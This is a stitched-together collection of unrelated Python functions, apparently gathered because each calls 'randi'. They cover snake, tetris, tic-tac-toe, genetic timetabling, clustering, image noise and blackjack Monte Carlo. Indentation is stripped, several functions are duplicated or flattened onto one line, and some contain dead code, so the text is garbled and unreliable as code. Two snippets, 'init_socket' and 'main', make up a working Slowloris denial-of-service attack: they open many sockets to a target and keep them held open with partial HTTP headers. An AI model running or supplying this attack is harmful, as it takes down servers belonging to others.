def generate_task(m, n, c, a):
c = [randi(1, 10) for i in range(n)]
a = [[]] * m
for i in range(len(a)):
a[i] = [randi(1, 10) for i in range(n)]
b = [round(sum(_a) / 3, 1) for _a in a]
return (c, a, b)
def gen_query(n, q):
qList = []
for i in range(q):
mode = randi(1, 2)
u, v = randi(1, n), randi(1, n)
qList.append((mode, u, v))
return qList
def takeNaiveMove(): """ Returns a tile number randomly from the set of unchecked tiles with uniform probability distribution. """ mv=randi(1,9) while(validmove(mv)==False): mv=randi(1,9) return mv
def gen_tree(n):
edges = []
for i in range(2, n + 1):
edges.append((i, randi(1, i - 1), randi(1, max_capacity)))
shuffle(edges)
return edges
def RNG(guess1, guess2, guess3):
count = 0
if guess1 == randi(1, 6):
count += 1
if guess2 == randi(1, 6):
count += 1
if guess3 == randi(1, 6):
count += 1
print("You got ", count, "guess(es) right")
def make_food(self):
food_in_snake = True
while food_in_snake:
self.food = [
randi(0,
(self.board_size / self.cell_size) - 1) * self.cell_size,
randi(0,
(self.board_size / self.cell_size) - 1) * self.cell_size
]
if self.food not in self.cells:
food_in_snake = False
return pygame.draw.rect(
self.game_window, red,
[self.food[0], self.food[1], self.cell_size, self.cell_size])
def get_centroids(centroids, n_clusters, img):
for i in range(n_clusters):
x = randi(0, img.shape[0] - 1)
y = randi(0, img.shape[1] - 1)
l = float(img[x, y, 0])
a = float(img[x, y, 1])
b = float(img[x, y, 2])
centroids[i, 0] = l
centroids[i, 1] = a
centroids[i, 2] = b
return centroids
def randomwalk(n, size):
pen = turtle.Turtle()
pen.shape('turtle')
pen.pensize(3)
w_pos = 0
w_edge = n // 2
h_pos = 0
h_edge = n // 2
while -w_edge <= w_pos <= w_edge and -h_edge <= h_pos <= h_edge:
where = randi(1, 4)
if where == 1:
pen.setheading(0)
w_pos += 1
elif where == 2:
pen.setheading(90)
h_pos += 1
elif where == 3:
pen.setheading(180)
w_pos -= 1
else:
pen.setheading(270)
h_pos -= 1
pen.forward(size)
def Visualize(x_train):
for i in range(5):
obj = x_train[randi(0, x_train.shape[0]-1)]
Image = np.reshape(obj, (32, 32, 3))
cv2.imwrite("./Q4-output/orig_"+str(i)+".png", Image)
# cv2.imwrite("./Q4-output/original.png", Image)
# fd, _ = hog(Image, orientations=8, pixels_per_cell=(4, 4), cells_per_block=(1, 1), visualize=True, multichannel=True, block_norm="L2-Hys")
fd, hogimg = hog(Image, visualize=True, multichannel=True, block_norm="L2-Hys")
plt.figure()
n, bins, patches = plt.hist(x=fd, bins='auto', color='#0504aa', alpha=0.7, rwidth=0.85)
plt.grid(axis='y', alpha=0.75)
plt.xlabel('File Descriptor count')
plt.ylabel('Frequency')
plt.title('Histogram of Gradients')
plt.savefig("./Q4-output/hoghist_"+str(i)+".png")
cv2.imwrite("./Q4-output/hog_"+str(i)+".png", hogimg)
Image = cv2.cvtColor(Image, cv2.COLOR_BGR2GRAY)
lbp = local_binary_pattern(Image, 12, 3)
# cv2.imwrite("./Q4-output/lbp1.png", lbp)
histo, lbpigm = np.histogram(lbp.ravel(), bins=np.arange(0, 12 + 3), range=(0, 3 + 2))
cv2.imwrite("./Q4-output/lbp_"+str(i)+".png", lbp)
plt.figure()
n, bins, patches = plt.hist(x=histo, bins='auto', color='#0504aa', alpha=0.7, rwidth=0.85)
plt.grid(axis='y', alpha=0.75)
plt.xlabel('Texture Range')
plt.ylabel('Frequency')
plt.title('Histogram of Texture')
plt.savefig("./Q4-output/lbphist_"+str(i)+".png")
def distant(lst): R, C = np.shape(lst) farthest=lambda one,rest: sorted(rest, key=lambda F: aDist(F,one))[-1] one=lst[randi(0,R-1)] mid=farthest(one, lst) two=farthest(mid, lst) return one, two
def create_noise_audio(audio):
noise = noise_data[randi(0, 5)]
if (len(audio) > len(noise)):
noise_audio = audio[:len(noise)] + 0.1 * noise
return noise_audio
else:
noise_audio = audio + 0.1 * noise[:len(audio)]
return noise_audio
def randomPopulation(self):
for i in range(self.N):
for j in range(i + 1, self.N):
z = randi(1, self.N * 10)
self.Crr.append((i, j, z))
print("Crr: ", self.Crr)
self.ShowGraph(self.G, self.Crr)
def distant(lst):
R, C = np.shape(lst)
farthest = lambda one, rest: sorted(rest, key=lambda F: aDist(F, one))[
-1]
one = lst[randi(0, R - 1)]
mid = farthest(one, lst)
two = farthest(mid, lst)
return one, two
def init_socket(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((ip, args.p))
s.send("GET /?{} HTTP/1.1\r\n".format(randi(0, 2000)).encode("utf-8"))
s.send("User-Agent: {}\r\n".format(choice(user_agent)).encode("utf-8"))
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
return s
def SaltAndPepperNoise(image, Percentage):
Pixels = (image.shape[0] * image.shape[1] * Percentage) // 100
# print(Pixels, image.shape[0]*image.shape[1])
pairs = []
i = 0
Result = np.copy(image)
while i < Pixels:
x = randi(0, image.shape[0] - 1)
y = randi(0, image.shape[1] - 1)
z = randi(0, 255)
if (x, y) not in pairs:
Result[x, y] = z
pairs.append((x, y))
else:
continue
i += 1
return Result
def gen_fake_expert_traj(grid,
value_func,
no_of_fake_traj,
add_state_itself=0,
traj_length_limits=(100, 100)):
from random import randint as randi
import operator
all_traj = []
for traj_idx in range(no_of_fake_traj):
# starting point of each trajectory is random
curr_point = (randi(0, grid.grid_dims['rows'] - 1),
randi(0, grid.grid_dims['cols'] - 1))
# length of traj is random, between the limits specified in the argument traj_length_limits
traj_length = randi(traj_length_limits[0], traj_length_limits[1])
curr_traj = []
# we keep on appending the next point with highest value amongst it's neighbours
# TODO this might lead to stupid trajectories that keep on looping
for pt_idx in range(traj_length):
curr_traj.append(curr_point)
# get the neighbours of curr_point
successor_states = grid.get_children(curr_point)
# add curr point to stop
if add_state_itself:
successor_states.append(curr_point)
# get value for each neighbouring states
successor_values = map(lambda x: grid.get_reward_at_point(x),
successor_states)
# find max value. not we need the index of the neifghbouring states
max_index, max_value = max(enumerate(successor_values),
key=operator.itemgetter(1))
# print "successor_values", successor_values
# print "max_index", max_index, "max_value", max_value, "\n"
curr_point = successor_states[max_index]
successor_states, successor_values, max_value, max_index = (
[] for i in range(4))
# print curr_point, max_value
all_traj.append(curr_traj)
return all_traj
def GenCoinToss(n):
s = ''
for k in range(n):
i = randi(0, 1)
if i == 0:
s = s + 'H'
else:
s += 'T'
return s
def RandString(m):
""" Returns a length-m string consisting of
lower case letters.
PreC: m is a positive integer.
"""
letters = 'abcdefghijklmnopqrstuvwxyz'
w = ''
for i in range(m):
w = w + letters[randi(0,25)]
return w
def init_field(self):
field = matrix(EMPTINESS, self.width, self.height)
self.image = matrix(EMPTINESS, self.width, self.height)
free_space = [[i, j] for i in range(self.width)
for j in range(self.height)]
tmp_counter = self.humans_count
self.humans = []
for party in range(self.parties):
count = int(
clamp(
math.ceil(self.parties_data[party]['fraction'] *
self.humans_count), 0, tmp_counter))
self.party_counts.append(count)
tmp_counter -= count
for humans in range(count):
[x, y] = free_space.pop(randi(0, len(free_space) - 1))
human = {
'party':
party + 1,
'influence':
inverse_power(self.alpha_influence, random.random()),
# 'conviction': inverse_power(self.alpha_conviction, random.random()),
'conviction':
inverse_norm(self.mean_conviction, self.stdev_conviction,
random.random()),
'position': [x, y]
}
self.humans.append(human)
field[y][x] = human
self.image[y][x] = party + 1
for human in self.humans:
[x, y] = human['position']
minx = max(x - self.r, 0)
maxx = min(x + self.r + 1, len(field[0]))
miny = max(y - self.r, 0)
maxy = min(y + self.r + 1, len(field))
human['neighbourhood'] = []
for j in range(miny, maxy):
for i in range(minx, maxx):
neighbour = field[j][i]
if neighbour and not (x == i and y == j):
human['neighbourhood'].append(neighbour)
def new_stone(self):
shape = tetris_shapes[randi(0, 6)]
pos = Position(2, 0)
dir = Direction(0, 0, 0)
if self.check_collision(shape, pos, dir):
self.game_over = True
return
self.stone = shape
self.stone_pos = pos
self.stone_dir = dir
def __init__(self):
self.width = WIDTH
self.height = HEIGHT
self.speed = SPEED
self.cstep = 0
self.state = np.zeros((self.height, self.width), np.uint8)
self.nomove = False
self.reward = 0
self.points = 0
self.tmppts = 0
self.stone = tetris_shapes[randi(0, 6)]
self.stone_pos = Position(math.ceil(self.width/2) - 2, 0)
self.stone_dir = Direction(0, 0, 0)
self.game_over = False
def takeNaiveMove():
""" Returns a tile number randomly from the set of unchecked tiles with uniform probability distribution.
"""
from random import randint as randi
import tile
try:
s = randi(1, 9)
if validmove(s):
if s == 1:
tile.tile1 = tile.turn
return True
#win()
elif s == 2:
tile.tile2 = tile.turn
return True
#win()
elif s == 3:
tile.tile3 = tile.turn
return True
#win()
elif s == 4:
tile.tile4 = tile.turn
return True
#win()
elif s == 5:
tile.tile5 = tile.turn
return True
#win()
elif s == 6:
tile.tile6 = tile.turn
return True
#win()
elif s == 7:
tile.tile7 = tile.turn
return True
#win()
elif s == 8:
tile.tile8 = tile.turn
return True
#win()
elif s == 9:
return True
tile.tile9 = tile.turn
#win()
else:
return False
#takeNaiveMove()
except RecursionError:
pass
def getSequence(self):
states = []
rewards = []
curState = 2
while (curState != 5) and (curState != -1):
nextState = curState - 1 if randi(1, 2) == 1 else curState + 1
curReward = 1 if (nextState == 5) else 0
states.append(curState)
rewards.append(curReward)
curState = nextState
assert (len(rewards) == len(states))
return states, rewards
def Jumble(self):
newGenes = []
for i in range(len(self.Genes)):
opt = randi(0, 2)
if (opt == 0):
newGenes.append(
Gene(self.Genes[i].Course, self.Genes[i].Professor,
randi(0, 1), self.Genes[i].Day, self.Genes[i].Slot))
elif (opt == 1):
newGenes.append(
Gene(self.Genes[i].Course, self.Genes[i].Professor,
self.Genes[i].Room, randi(0, 4), self.Genes[i].Slot))
else:
newGenes.append(
Gene(self.Genes[i].Course, self.Genes[i].Professor,
self.Genes[i].Room, self.Genes[i].Day, randi(0, 7)))
# if ( Genes[i].Room == 0 ):
# newGenes.append(Gene(Genes[i].Course, Genes[i].Professor, 1, randi(0, 4), randi(0, 7)))
# else:
# newGenes.append(Gene(Genes[i].Course, Genes[i].Professor, 0, randi(0, 4), randi(0, 7)))
ch = Chromosome(newGenes, self.RoomCount, self.DaysCount,
self.TimeSlotsCount)
return ch
def recurse(dataset):
R, C = np.shape(dataset) # No. of Rows and Col
# Find the two most distance points.
one = dataset[randi(0, R - 1)]
mid = farthest(one, dataset)
two = farthest(mid, dataset)
# Project each case on
def proj(test):
a = aDist(one, test)
b = aDist(two, test)
c = aDist(one, two)
return (a**2 - b**2 + c**2) / (2 * c)
if R < np.sqrt(N):
clusters.append(dataset)
else:
_ = recurse(sorted(dataset, key=lambda F: proj(F))[:int(R / 2)])
_ = recurse(sorted(dataset, key=lambda F: proj(F))[int(R / 2):])
def recurse(dataset):
R, C = np.shape(dataset) # No. of Rows and Col
# Find the two most distance points.
one=dataset[randi(0,R-1)]
mid=farthest(one, dataset)
two=farthest(mid, dataset)
# Project each case on
def proj(test):
a = aDist(one, test)
b = aDist(two, test)
c = aDist(one, two)
return (a**2-b**2+c**2)/(2*c)
if R<np.sqrt(N):
clusters.append(dataset)
else:
_ = recurse(sorted(dataset,key=lambda F:proj(F))[:int(R/2)])
_ = recurse(sorted(dataset,key=lambda F:proj(F))[int(R/2):])
def localOptimisation(self, Pop):
newPop = []
for i in range(self.PopulationCount):
chromo = Pop[i]
couDay = {}
for j in range(len(chromo.Genes)):
if (chromo.Genes[j].Course.getCourseCode() not in couDay):
couDay[chromo.Genes[j].Course.getCourseCode()] = [
chromo.Genes[j].Day
]
else:
arr = couDay[chromo.Genes[j].Course.getCourseCode()]
if chromo.Genes[j].Day in arr:
ni = randi(0, 4)
chromo.Genes[j].Day = ni
else:
couDay[chromo.Genes[j].Course.getCourseCode()].append(
chromo.Genes[j].Day)
newPop.append(chromo)
return newPop
def main():
ip = args.target
socket_nr = args.sockets
logging.info("Attacking %s with %s sockets.", ip, socket_nr)
for socketnum in range(socket_nr):
logging.debug("Creating socket nr %s", socketnum)
s = init_socket(ip)
socket_list.append(s)
while True:
try:
logging.info("Keeping alive sockets (Socket number: %s)",
len(socket_list))
for socketi in list(socket_list):
try:
socketi.send("X-a: {}\r\n".format(randi(
1, 5000)).encode("utf-8"))
except socket.error:
socket_list.remove(socketi)
for socketn in range(socket_nr - len(socket_list)):
logging.debug("Recreating socket...")
try:
s = init_socket(ip)
if s:
socket_list.append(socketn)
except socket.error as e:
logging.debug(e)
break
logging.debug("Sleeping for %d seconds", args.sleeptime)
sleep(args.sleeptime)
except (KeyboardInterrupt, SystemExit):
logging.info("Stopping SlowLoris")
break
def __iter__(self):
if self.training is True:
rand_perm = npr.permutation(self.seq_num)
else:
rand_perm = np.arange(self.seq_num)
shuffled_seq_start_end = self.seq_start_end[rand_perm,:]
scale_inds = np.random.randint(
0, high=len(cfg.TRAIN.SCALES), size=self.seq_num)
#randomly sample from sequence.
idx_list = []
scale_list = []
for idx in range(self.seq_num):
cur_se = shuffled_seq_start_end[idx,:]
assert(cur_se[1] > cur_se[0])
length = cur_se[1] - cur_se[0]
if length<self.batch_size:
#raise ValueError('length of the sequence is shorter than self.batch_size.')
#print(self.batch_size,'>',length)
#raise ValueError('length of the sequence is shorter than self.batch_size, please modify batch_size to fit sequence length.')
print('length of the sequence is shorter than self.batch_size, please modify batch_size to fit sequence length.')
batch_size = length
else:
batch_size = self.batch_size
if self.training is True:
id_start = randi(0, length-batch_size)+int(cur_se[0])
id_end = id_start+batch_size
else:
id_start = 0
id_end = length
assert id_start>=int(cur_se[0]) and id_end<=int(cur_se[1]), print(id_start, id_end, cur_se[:])
idx_list.extend([id_start]*(self.batch_size-batch_size)+list(range(id_start, id_end)))
scale_list.extend([cfg.TRAIN.SCALES[scale_inds[idx]]]*(self.batch_size))
assert len(idx_list)==len(scale_list), print(len(idx_list), len(scale_list))
assert len(idx_list)==self.batch_size*self.seq_num, print(len(idx_list), self.batch_size*self.seq_num)
return iter(zip(idx_list, scale_list))
def InitialPopulation(self):
Population = []
for i in range(self.PopulationCount):
arr = []
for j in range(32):
if (j < 16):
for k in range(3):
arr.append(
Gene(
self.Courses[j], self.Professors[int(
self.Courses[j].getProfessorID())],
randi(0, 1), randi(0, 4), randi(0, 7)))
else:
for k in range(2):
arr.append(
Gene(
self.Courses[j], self.Professors[int(
self.Courses[j].getProfessorID())],
randi(0, 1), randi(0, 4), randi(0, 7)))
Population.append(
Chromosome(arr, self.Rooms, self.Days, len(self.TimeSlots)))
return Population
def new(self): # Creates a new random instance return [randi(d[0], d[1]) for d in self.model.indep()]
def draw(self): return min(randi(1,13), 10) #J,Q,K are treated as face cards with value 10
def getRandomAction(self): return "hit" if randi(1,2) == 1 else "stick"
a1 = rand()-.5 b1 = rand()-.5 c1 = rand()-.5 a3 = rand()-.5 b3= -rand()-.5 c3 = rand()-.5 a4 = rand()-.5 b4= -rand()-.5 c4 = rand()-.5 d4=2 num_correct=0 for j in range(0,200): # optimal net# random initial parameters # a1 = Math.random() - 0.5; # a random number between -0.5 and 0.5 # ... similarly initialize all other parameters to randoms # pick a random data point i = randi(len(data)) x = data[i][0]; y = data[i][1]; label = labels[i]; # compute forward pass n1 = max(0, a1*x + b1*y + c1); # activation of 1st hidden neuron n2 = max(0, a2*x + b2*y + c2); # 2nd neuron n3 = max(0, a3*x + b3*y + c3); # 3rd neuron score = a4*n1 + b4*n2 + c4*n3 + d4; # the score error=abs(score-label) error2=error*error # // compute pull
def generate(self):
self.policy = PolicyGreedy()
for gameNumber in range(self.NUM_GAMES):
print("Running game number:", str(gameNumber + 1), "out of", self.NUM_GAMES, "\t", end="\r")
blackjack = Blackjack()
# Generate episode
states = []
actions = []
rewards = [None] # Rewards start form time step = 1. Hence insert dummy R_0
# Exploring starts
blackjack.forceInitialState(self.getRandomState())
currentState = blackjack.getInitialState()
currentAction = self.getRandomAction()
states.append(currentState)
actions.append(currentAction)
# Generate episode
terminal = False
while not terminal:
terminal, reward, nextState = blackjack.step(currentAction)
rewards.append(reward)
states.append(nextState)
if(not terminal):
nextAction = self.policy.getAction(nextState)
else:
nextAction = None
actions.append(nextAction)
currentState = nextState
currentAction = nextAction
assert(len(states) == len(rewards) and len(states) == len(actions))
# Store the index of first occurance of states for first visit MC
firstVisitIdx = {}
time = 0
for s, a in zip(states, actions):
if((s,a) not in firstVisitIdx):
firstVisitIdx[(s, a)] = time
time += 1
if(a != None and (s,a) not in self.totalStateActionValue):
self.totalStateActionValue[(s,a)] = 0
self.totalStateActionCount[(s,a)] = 0
# Estimate State Action Values
G = 0
T = len(rewards) - 2 # Index of last timestep
for t in range(T, -1, -1):
G += rewards[t+1]
St = states[t]
At = actions[t]
if(firstVisitIdx[(St, At)] == t): # First Visit MC
self.totalStateActionValue[(St, At)] += G
self.totalStateActionCount[(St, At)] += 1
# Take average and get Q values
Q = {}
for (s,a) in self.totalStateActionValue: # Take avg
Q[(s,a)] = self.totalStateActionValue[(s,a)] / self.totalStateActionCount[(s,a)]
for (s,a) in Q:
if(a == "hit"):
if((s,"stick") in Q): # Both actions present
# Take argmax and break ties randomly
if(Q[(s, "hit")] > Q[(s, "stick")]):
self.policy.setAction(s, "hit")
elif(Q[(s, "hit")] < Q[(s, "stick")]):
self.policy.setAction(s, "stick")
else:
self.policy.setAction(s, "hit" if randi(1,2) == 1 else "stick")
else: # Only hit present
self.policy.setAction(s, "hit")
else:
if((s,"hit") not in Q): # Only stick present
self.policy.setAction(s, "stick")
self.generateStateValue()
print()
